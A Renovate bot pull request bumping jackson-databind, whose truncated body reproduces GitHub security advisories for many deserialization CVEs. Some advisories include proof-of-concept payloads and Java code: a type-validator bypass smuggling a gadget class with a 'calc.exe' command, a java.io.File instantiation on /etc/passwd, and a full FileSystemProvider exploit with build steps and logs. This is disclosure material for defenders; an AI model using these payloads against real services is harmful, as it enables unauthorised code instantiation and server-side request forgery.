Update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [SECURITY] by renovate[bot] · Pull Request #251 · vzakharchenko/dynamic-orm

renovate · 2023-03-18T07:53:28Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
com.fasterxml.jackson.core:jackson-databind (source)	`2.13.0` → `2.18.10`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Uncontrolled Resource Consumption in FasterXML jackson-databind

CVE-2022-42004 / GHSA-rgv9-q543-rqg4

More information

Details

In FasterXML jackson-databind before 2.12.7.1 and in 2.13.x before 2.13.4, resource exhaustion can occur because of a lack of a check in BeanDeserializer._deserializeFromArray to prevent use of deeply nested arrays. This issue can only happen when the UNWRAP_SINGLE_VALUE_ARRAYS feature is explicitly enabled.

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind possible Denial of Service if using JDK serialization to serialize JsonNode

CVE-2021-46877 / GHSA-3x8x-79m2-3w2w

More information

Details

jackson-databind 2.10.x through 2.12.x before 2.12.6 and 2.13.x before 2.13.1 allows attackers to cause a denial of service (2 GB transient heap usage per read) in uncommon situations involving JsonNode JDK serialization.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Uncontrolled Resource Consumption in Jackson-databind

CVE-2022-42003 / GHSA-jjjh-jjxp-wpff

More information

Details

In FasterXML jackson-databind 2.4.0-rc1 until 2.12.7.1 and in 2.13.x before 2.13.4.2 resource exhaustion can occur because of a lack of a check in primitive value deserializers to avoid deep wrapper array nesting, when the UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled. This was patched in 2.12.7.1, 2.13.4.2, and 2.14.0.

Commits that introduced vulnerable code are
FasterXML/jackson-databind@d499f2e, FasterXML/jackson-databind@0e37a39, and FasterXML/jackson-databind@7ba9ac5.

Fix commits are FasterXML/jackson-databind@cd09097 and FasterXML/jackson-databind@d78d00e.

The 2.13.4.1 release does fix this issue, however it also references a non-existent jackson-bom which causes build failures for gradle users. See https://github.com/FasterXML/jackson-databind/issues/3627#issuecomment-1277957548 for details. This is fixed in 2.13.4.2 which is listed in the advisory metadata so that users are not subjected to unnecessary build failures

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Deeply nested json in jackson-databind

CVE-2020-36518 / GHSA-57j2-w4cx-62h2

More information

Details

jackson-databind is a data-binding package for the Jackson Data Processor. jackson-databind allows a Java stack overflow exception and denial of service via a large depth of nested objects.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Deeply nested JsonNode throws StackOverflowError for toString()

CVE-2026-50193 / GHSA-3wrr-7qpf-2prh

More information

Details

Impact

Potential Denial-of-Service when attacker sends deeply nested JSON if (and only if) service:

Reads deeply nested (1000s of levels) JSON as JsonNode (ObjectMapper.readTree())
Writes out same (or modifided) node using JsonNode.toString()

which can consume significant amount of resources with concurrent relatively small requests (1000 nested arrays is 2kB).

Patches

Fixed in 2.14.0 via https://github.com/FasterXML/jackson-databind/issues/3447.

Workarounds

Avoid serializing JsonNode using toString(): use ObjectMapper.writeValueAsString(node)

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact

Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID	Smuggled type position
`java.util.ArrayList<Evil>`	list element
`java.util.HashMap<Evil,String>`	map key
`java.util.HashMap<String,Evil>`	map value
`java.util.ArrayList<java.util.ArrayList<Evil>>`	nested element
`java.util.ArrayList<Evil[]>`	array element

Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via `git tag --contains`)

2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@omkhar) - finder.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via `git tag --contains` on `1f5a103`)

2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@omkhar) - finder.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

CVE-2026-83557 / GHSA-gx83-3vf8-gh7j

More information

Details

Summary

DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.

Details

Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java

private final static class UnsafeBaseTypes {
    private final Set<String> UNSAFE = new HashSet<>();
    {
        UNSAFE.add(Object.class.getName());
        UNSAFE.add(java.io.Closeable.class.getName());
        UNSAFE.add(java.io.Serializable.class.getName());
        UNSAFE.add(AutoCloseable.class.getName());
        UNSAFE.add(Cloneable.class.getName());
        UNSAFE.add(Runnable.class.getName());          // [databind#5014]
        UNSAFE.add("java.util.logging.Handler");
        UNSAFE.add("javax.naming.Referenceable");
        UNSAFE.add("javax.sql.DataSource");
        // java.lang.Comparable is NOT present here
    }
}

protected boolean isSafeSubType(DatabindContext ctxt,
        JavaType baseType, JavaType subType) {
    return true;   // unconditional for every base type not in UNSAFE
}

The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #5014).

This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().

PoC

Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):

1. Sanity check (benign class, confirms the mechanism fires):

static class SafeThing implements Comparable<SafeThing> {
    public String name;
    public SafeThing() {}
    public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Comparable<?> value;
}

ObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing

2. Real JDK class substitution:

String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd

3. Negative control — Default Typing with an explicit custom PTV:

PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"

Observed output:

$ java -cp .:build/classes PtvGapTest3
Trying: {"value":["java.io.File","/etc/passwd"]}
ACCEPTED, class=java.io.File value=/etc/passwd

$ java -cp .:build/classes PtvGapTest4
Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}]
REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a
subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution

Impact

Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.

Suggested remediation:

Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.

Severity

CVSS Score: 5.6 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

CVE-2026-19032 / GHSA-wjgm-6hv5-3cvf

More information

Details

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location

src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
- STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body
  (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).

Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoader<FileSystemProvider>.
 */
public class Vuln04_PathProvider {
    public static class Config { public Path workdir; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
        String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
        System.out.println("Deserializing (default mapper): " + json);
        try {
            Config c = mapper.readValue(json, Config.class);
            System.out.println("Resolved Path = " + c.workdir + "  (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
            System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
        } catch (Throwable t) {
            System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
            System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
        }
    }
}

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider).
A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java:

package com.poc;

import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;

/**
 * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
 * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
 * application's classpath. Its static initializer and getPath() record that they executed,
 * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
 * inside jackson's readValue.
 */
public class EvilFileSystemProvider extends FileSystemProvider {
    public static volatile boolean STATIC_INIT_RAN = false;
    public static volatile String GET_PATH_URI = null;
    static { STATIC_INIT_RAN = true; }

    @Override public String getScheme() { return "evilscheme"; }

    @Override public Path getPath(URI uri) {
        GET_PATH_URI = uri.toString();
        System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
        return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
    }

    // --- remaining abstract methods: minimal stubs ---
    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }
    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public boolean isSameFile(Path p, Path p2) { return false; }
    @Override public boolean isHidden(Path p) { return false; }
    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
    @Override public void checkAccess(Path p, AccessMode... m) { }
    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}

Registration descriptor —
src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:

com.poc.EvilFileSystemProvider

Driver — com/poc/Vuln04b_PathProviderMount.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;

/**
 * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
 * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
 * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
 * (1) load the provider class (running its static initializer) and (2) invoke
 * provider.getPath(attackerUri) -- all inside readValue, with NO application code.
 */
public class Vuln04b_PathProviderMount {
    public static class Config { public java.nio.file.Path workdir; }

    public static void main(String[] args) throws Exception {
        System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN);
        ObjectMapper mapper = JsonMapper.builder().build();   // default config
        String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}";
        System.out.println("Deserializing (default mapper): " + json);

        Config c = mapper.readValue(json, Config.class);

        System.out.println("Resolved Path = " + c.workdir);
        System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN);
        System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI);
        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null
                && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled");
        System.out.println(ok
            ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)"
            : "RESULT: NOT reproduced");
    }
}

Execution Steps

The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath

##### 0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"

##### 1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
  src/main/java/com/poc/EvilFileSystemProvider.java \
  src/main/java/com/poc/Vuln04_PathProvider.java \
  src/main/java/com/poc/Vuln04b_PathProviderMount.java

##### 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
   out/META-INF/services/java.nio.file.spi.FileSystemProvider

##### 3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider        # PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount  # PoC 2

Reproduction Evidence

Executed against jackson-databind 3.2.1 (OpenJDK 25).

PoC 1 :

Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"}
Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`
 at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"])
RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)

Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.

PoC 2 :

Provider static-init ran before deserialization? true
Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"}
>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1
Resolved Path = /var/folders/.../T/evilprovider-marker
Provider static-init ran: true
Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1
RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)

Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.

Impact

Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the
scheme-restriction gap.

Recommended Fix

Restrict the resolved scheme to a fixed, hard-coded set ; reject jar: and other schemes via ctxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface.
Skip the ServiceLoader<FileSystemProvider> enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider.
Document that java.nio.file.Path-typed fields should not be bound from untrusted JSON.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization

CVE-2026-77310 / GHSA-vvgp-rfg2-7rr6

More information

Details

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled i

❗ Important

✂ PR body was truncated to here.

qlty-cloud-legacy · 2023-03-31T15:17:52Z

Code Climate has analyzed commit becc1ad and detected 0 issues on this pull request.

View more on Code Climate.

…8.10 [SECURITY]

renovate Bot changed the title ~~fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security]~~ fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.1 [security] Mar 30, 2023

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 57691bc to 33a0931 Compare March 30, 2023 01:33

renovate Bot changed the title ~~fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.1 [security]~~ fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security] Mar 31, 2023

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 33a0931 to becc1ad Compare March 31, 2023 15:17

renovate Bot changed the title ~~fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security]~~ fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security] - autoclosed Mar 27, 2026

renovate Bot closed this Mar 27, 2026

renovate Bot deleted the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch March 27, 2026 01:40

renovate Bot changed the title ~~fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security] - autoclosed~~ fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.13.4.2 [security] Mar 30, 2026

renovate Bot reopened this Mar 30, 2026

renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch 2 times, most recently from becc1ad to 8620b1a Compare March 30, 2026 21:50

